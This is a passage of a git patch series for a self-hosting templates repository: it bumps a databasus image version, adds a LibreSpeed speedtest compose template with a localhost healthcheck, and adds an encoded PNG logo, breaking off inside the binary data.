From 7ad6bbafcd886ab51cb4a0cd23d587f53eb09136 Mon Sep 17 00:00:00 2001 From: Firu <105530193+Luzefiru@users.noreply.github.com> Date: Tue, 24 Feb 2026 11:25:17 +0800 Subject: [PATCH 01/51] chore(templates): bump databasus image version --- templates/compose/databasus.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates/compose/databasus.yaml b/templates/compose/databasus.yaml index fccb81f4d..f670aad8a 100644 --- a/templates/compose/databasus.yaml +++ b/templates/compose/databasus.yaml @@ -7,7 +7,7 @@ services: databasus: - image: 'databasus/databasus:v2.18.0' # Released on 28 Dec, 2025 + image: 'databasus/databasus:v3.16.2' # Released on 23 February, 2026 environment: - SERVICE_URL_DATABASUS_4005 volumes: From 907b3d04c1e11aa345bee2f0866490d61e70722e Mon Sep 17 00:00:00 2001 From: Diogo Carvalho Date: Wed, 25 Feb 2026 23:22:38 +0000 Subject: [PATCH 02/51] Add speedtest service --- templates/compose/speedtest.yaml | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 templates/compose/speedtest.yaml diff --git a/templates/compose/speedtest.yaml b/templates/compose/speedtest.yaml new file mode 100644 index 000000000..e0d915fe7 --- /dev/null +++ b/templates/compose/speedtest.yaml @@ -0,0 +1,22 @@ +# documentation: https://github.com/librespeed/speedtest +# slogan: Self-hosted Speed Test for HTML5 and more. +# category: devtools +# tags: speedtest, internet-speed +# logo: svgs/speedtest.svg +# port: 82 + +services: + speedtest: + container_name: speedtest + image: 'ghcr.io/librespeed/speedtest:latest' + environment: + - SERVICE_URL_SPEEDTEST_82 + - MODE=standalone + - TELEMETRY=false + - DISTANCE=km + - WEBPORT=82 + healthcheck: + test: 'curl 127.0.0.1:82 || exit 1' + timeout: 1s + interval: 1m0s + retries: 1 From e9c980d3d513e9daefd64021f11fb9980269d6bf Mon Sep 17 00:00:00 2001 From: Diogo Carvalho Date: Wed, 25 Feb 2026 23:25:08 +0000 Subject: [PATCH 03/51] Add logo --- public/svgs/librespeed.png | Bin 0 -> 110042 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 public/svgs/librespeed.png diff --git a/public/svgs/librespeed.png b/public/svgs/librespeed.png new file mode 100644 index 0000000000000000000000000000000000000000..1405e3c187f4d99c4bc1c5f3cb529481d6d15c62 GIT binary patch literal 110042 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 